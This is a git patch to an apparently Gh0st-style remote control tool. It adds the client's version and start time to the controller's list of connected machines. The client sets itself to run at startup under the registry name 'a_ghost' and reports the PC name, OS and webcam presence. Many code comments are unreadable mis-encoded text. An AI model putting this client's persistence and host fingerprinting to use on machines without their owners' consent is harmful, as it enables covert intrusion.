From 079443d48f768a0df59b25587bd8bbc667f9d470 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 28 Dec 2024 04:34:54 +0800 Subject: [PATCH] feat: Add showing client version and start time --- ReadMe.txt | 5 ++++ client/LoginServer.cpp | 37 +++++++++++++++++++++++++--- client/LoginServer.h | 11 --------- client/test.cpp | 5 +++- common/commands.h | 29 ++++++++++++++++++++++ server/2015Remote/2015Remote.rc | Bin 49002 -> 49436 bytes server/2015Remote/2015RemoteDlg.cpp | 36 +++++++++++++++++---------- server/2015Remote/2015RemoteDlg.h | 13 +--------- 8 files changed, 96 insertions(+), 40 deletions(-) diff --git a/ReadMe.txt b/ReadMe.txt index d6986fb..d2e5ea3 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -236,3 +236,8 @@ fix: showing the wrong host quantity in status bar solve some issues according to code analysis result reorg: Move commands to common/commands.h 此次提交的重点是将重复代码移动到公共目录,减少代码的冗余。 + +2024.12.28 +修改了注册指令内容,新生成的主控程序和被控程序不能和以往的程序混用!! 预留了字段,以便未来之需。 +主控程序增加显示被控端版本信息,以便未来针对老版本实现在线更新的能力。 +在主控程序上面增加了显示被控端启动时间的功能,以便掌握被控端程序的稳定性。 diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index efa8132..409a2b8 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -2,6 +2,9 @@ #include "LoginServer.h" #include "Common.h" #include +#include +#include +#include /************************************************************************ --------------------- @@ -122,10 +125,39 @@ std::string getSystemName() return vname; } +std::string formatTime(const FILETIME& fileTime) { + // תΪ 64 λʱ + ULARGE_INTEGER ull; + ull.LowPart = fileTime.dwLowDateTime; + ull.HighPart = fileTime.dwHighDateTime; + + // תΪ뼶ʱ + std::time_t startTime = static_cast((ull.QuadPart / 10000000ULL) - 11644473600ULL); + + // ʽ + std::tm* localTime = std::localtime(&startTime); + char buffer[100]; + std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime); + return std::string(buffer); +} + +std::string getProcessTime() { + FILETIME creationTime, exitTime, kernelTime, userTime; + + // ȡǰ̵ʱϢ + if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) { + return formatTime(creationTime); + } + std::time_t now = std::time(nullptr); + std::tm* t = std::localtime(&now); + char buffer[100]; + std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t); + return buffer; +} int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed) { - LOGIN_INFOR LoginInfor = {0}; + LOGIN_INFOR LoginInfor; LoginInfor.bToken = TOKEN_LOGIN; // Ϊ¼ //òϵͳϢ strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str()); @@ -148,9 +180,8 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed) memcpy(LoginInfor.szPCName,szPCName,MAX_PATH); LoginInfor.dwSpeed = dwSpeed; LoginInfor.dwCPUMHz = dwCPUMHz; - LoginInfor.ClientAddr = ClientAddr.sin_addr; LoginInfor.bWebCamIsExist = bWebCamIsExist; - + strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str()); int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR)); return iRet; diff --git a/client/LoginServer.h b/client/LoginServer.h index 4e64225..64f29b6 100644 --- a/client/LoginServer.h +++ b/client/LoginServer.h @@ -5,17 +5,6 @@ #pragma comment(lib,"Vfw32.lib") -typedef struct _LOGIN_INFOR -{ - BYTE bToken; // ȡ1½Ϣ - char OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// 汾Ϣ - DWORD dwCPUMHz; // CPUƵ - IN_ADDR ClientAddr; // 洢32λIPv4ĵַݽṹ - char szPCName[MAX_PATH]; // - BOOL bWebCamIsExist; // Ƿͷ - DWORD dwSpeed; // -}LOGIN_INFOR,*PLOGIN_INFOR; - int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed); DWORD CPUClockMHz(); BOOL WebCamIsExist(); diff --git a/client/test.cpp b/client/test.cpp index bfe4e18..08a0f05 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -4,6 +4,9 @@ #include #include "common/commands.h" +// Զעеֵ +#define REG_NAME "a_ghost" + typedef void (*StopRun)(); typedef bool (*IsStoped)(); @@ -94,7 +97,7 @@ BOOL CALLBACK callback(DWORD CtrlType) // ļھʹлȡIPͶ˿. int main(int argc, const char *argv[]) { - if(!SetSelfStart(argv[0], "a_ghost")) + if(!SetSelfStart(argv[0], REG_NAME)) { std::cout<<"ÿʧܣùԱȨ.\n"; } diff --git a/common/commands.h b/common/commands.h index 9926f1a..63f7780 100644 --- a/common/commands.h +++ b/common/commands.h @@ -1,11 +1,17 @@ #pragma once +#include +#include + #ifndef _MAX_PATH #define _MAX_PATH 260 #endif #define FLAG_FINDEN 0x1234567 +// Է仯ʱӦøֵԱԱس +#define DLL_VERSION "20241228" // DLL汾 + // öб enum { @@ -134,3 +140,26 @@ typedef struct CONNECT_ADDRESS char szServerIP[_MAX_PATH]; int iPort; } CONNECT_ADDRESS ; + +// ߺ͵ļϢ +// ˽ṹһ仯Сǰ汾Ŀͻ޷°. +// °ͻҲ޷ϰ汾س. +// Ϊˣ20241228ύΪṹԤֶΣԱδ֮ʱ֮ +// ޸Ĵ˽ṹ壬ټǰijߵд +typedef struct LOGIN_INFOR +{ + unsigned char bToken; // 1.½Ϣ + char OsVerInfoEx[156]; // 2.汾Ϣ + unsigned long dwCPUMHz; // 3.CPUƵ + char moduleVersion[24]; // 4.DLLģ汾 + char szPCName[_MAX_PATH]; // 5. + int bWebCamIsExist; // 6.Ƿͷ + unsigned long dwSpeed; // 7. + char szStartTime[20]; // 8.ʱ + char szReserved[512]; // 9.ֶ + + LOGIN_INFOR(){ + memset(this, 0, sizeof(LOGIN_INFOR)); + strcpy_s(moduleVersion, DLL_VERSION); + } +}LOGIN_INFOR; diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 689ddafb0eac684fa6ff2f9a9fbdd2778d5e5280..4bb5e3b815331c8ac967f332323db27650aaa83b 100644 GIT binary patch delta 383 zcmaF$k7-U5^M*XW$xVV{lN%`>DzT$xQ6EGJJah-WrpFx?!O@Y!Ip0UyU?g9&Vty(X3*vAH&%nFpgbg^Oi&u>$}wxNVC7 diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index a12f808..7953050 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -39,7 +39,10 @@ enum ONLINELIST_OS, //ϵͳ ONLINELIST_CPU, //CPU ONLINELIST_VIDEO, //ͷ() - ONLINELIST_PING //PING(Է) + ONLINELIST_PING, //PING(Է) + ONLINELIST_VERSION, // 汾Ϣ + ONLINELIST_LOGINTIME, // ʱ + ONLINELIST_MAX, }; @@ -49,7 +52,7 @@ typedef struct int nWidth; //бĿ }COLUMNSTRUCT; -const int g_Column_Count_Online = 7; // +const int g_Column_Count_Online = ONLINELIST_MAX; // COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = { @@ -60,6 +63,8 @@ COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = {"CPU", 80 }, {"ͷ", 72 }, {"PING", 100 }, + {"汾", 80 }, + {"ʱ", 180 }, }; // Ӧó򡰹ڡ˵ CAboutDlg Ի @@ -322,7 +327,7 @@ VOID CMy2015RemoteDlg::TestOnline() VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, - CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject) + CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CONTEXT_OBJECT* ContextObject) { EnterCriticalSection(&m_cs); //ĬΪ0 вж @@ -334,6 +339,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName m_CList_Online.SetItemText(i,ONLINELIST_CPU,strCPU); m_CList_Online.SetItemText(i,ONLINELIST_VIDEO,strVideo); m_CList_Online.SetItemText(i,ONLINELIST_PING,strPing); + m_CList_Online.SetItemText(i, ONLINELIST_VERSION, ver); + m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, st); m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject); @@ -975,20 +982,23 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) CString strToolTipsText; try { - // Ϸݰ - if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR)) - { - return -1; - } - - LOGIN_INFOR* LoginInfor = new LOGIN_INFOR; - ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0); sockaddr_in ClientAddr; memset(&ClientAddr, 0, sizeof(ClientAddr)); int iClientAddrLen = sizeof(sockaddr_in); SOCKET nSocket = ContextObject->sClientSocket; - BOOL bOk = getpeername(nSocket,(SOCKADDR*)&ClientAddr, &iClientAddrLen); //IP C <---IP + BOOL bOk = getpeername(nSocket, (SOCKADDR*)&ClientAddr, &iClientAddrLen); + // Ϸݰ + if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR)) + { + char buf[100]; + sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", inet_ntoa(ClientAddr.sin_addr)); + OutputDebugStringA(buf); + return -1; + } + + LOGIN_INFOR* LoginInfor = new LOGIN_INFOR; + ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0); strIP = inet_ntoa(ClientAddr.sin_addr); @@ -1008,7 +1018,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) strAddr.Format("%d", nSocket); - AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,ContextObject); + AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime,ContextObject); delete LoginInfor; return S_OK; }catch(...){ diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index f9bff62..08d75db 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -21,17 +21,6 @@ #define CLIENT_EXIT_WITH_SERVER 1 #endif -typedef struct _LOGIN_INFOR -{ - BYTE bToken; // ȡ1½Ϣ - char OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// 汾Ϣ - DWORD dwCPUMHz; // CPUƵ - IN_ADDR ClientAddr; // 洢32λIPv4ĵַݽṹ - char szPCName[MAX_PATH]; // - BOOL bWebCamIsExist; // Ƿͷ - DWORD dwSpeed; // -}LOGIN_INFOR,*PLOGIN_INFOR; - // CMy2015RemoteDlg Ի class CMy2015RemoteDlg : public CDialogEx { @@ -58,7 +47,7 @@ public: VOID InitControl(); //ʼؼ VOID TestOnline(); //Ժ VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, - CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject); + CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CONTEXT_OBJECT* ContextObject); VOID ShowMessage(BOOL bOk, CString strMsg); VOID CreatStatusBar(); VOID CreateToolBar();